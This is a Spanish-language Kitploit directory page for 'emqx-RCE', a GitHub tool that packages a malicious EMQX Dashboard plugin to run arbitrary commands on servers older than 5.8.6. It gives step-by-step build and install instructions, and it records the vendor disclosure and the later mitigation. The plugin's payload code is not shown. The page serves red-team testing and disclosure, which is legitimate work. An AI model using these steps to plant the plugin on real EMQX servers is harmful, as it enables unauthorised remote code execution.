Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/ricardojoserf/emqx-rce
ExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubricardojoserf/emqx-rce

emqx-RCE

EMQX Dashboard Plugin Malicioso que conduce a RCE

Ver RepositorioSitio web
493hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

EMQX Dashboard - RCE

Este es un plugin malicioso para EMQX Dashboard que permite ejecutar comandos de forma remota.

El código de este repositorio está basado principalmente en una de las últimas versiones del repositorio de la plantilla de plugin de EMQX, con licencia Apache 2.0.

Si deseas probarlo, puedes lanzar una imagen de Docker como se explica en la documentación de EMQX.


Compilación del plugin

  1. Instala todas las dependencias necesarias, Erlang y rebar3. En la última versión de Kali (Kali 2024.4) puedes usar:
sudo apt update
sudo apt install -y build-essential autoconf libncurses5-dev libssl-dev \
    libwxgtk3.2-dev libgl1-mesa-dev libglu1-mesa-dev libpng-dev \
    libssh-dev unixodbc-dev cmake
git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1
echo '. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc
echo '. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc
source ~/.bashrc
asdf --version
asdf plugin-add erlang https://github.com/asdf-vm/asdf-erlang.git
asdf install erlang 25.3
asdf global erlang 25.3
git clone https://github.com/erlang/rebar3.git
cd rebar3
./bootstrap
sudo chmod +x rebar3
sudo mv rebar3 /usr/local/bin/
  1. Crea el directorio necesario y clona el repositorio del plugin:
mkdir -p ~/.config/rebar3/templates/emqx-plugin-template
git clone https://github.com/ricardojoserf/emqx-RCE ~/.config/rebar3/templates/emqx-plugin-template
  1. (Opcional) Modifica el comando que se ejecutará actualizando la línea 47 en "src/emqx_plugin_template.erl":

img

  1. Genera el plugin como un archivo tar.gz:
rebar3 new emqx-plugin my_emqx_plugin
make -C my_emqx_plugin rel
cp my_emqx_plugin/_build/default/emqx_plugrel/my_emqx_plugin-1.0.0.tar.gz . 
  1. Instálalo y ejecútalo a través del EMQX Dashboard en la sección "Plugin".

Divulgación

Tras las conversaciones mantenidas con el equipo de seguridad de EMQX en febrero y marzo de 2025, confirmaron que esto no se considera una vulnerabilidad, sino más bien una "característica", y no tienen objeciones a hacer público este repositorio.

Sin embargo, a partir de la versión 5.8.6 (publicada el 25/3/25), esta característica se mitigará introduciendo "un comando CLI para permitir explícitamente el paquete antes de instalar un plugin a través de la API HTTP o el Dashboard, mejorando la seguridad y evitando instalaciones no autorizadas" (fuente).

Por lo tanto, en versiones anteriores, teniendo acceso al EMQX Dashboard puedes lograr RCE, pero en versiones posteriores a la 5.8.6 obtendrás este error:

img

Descargar herramienta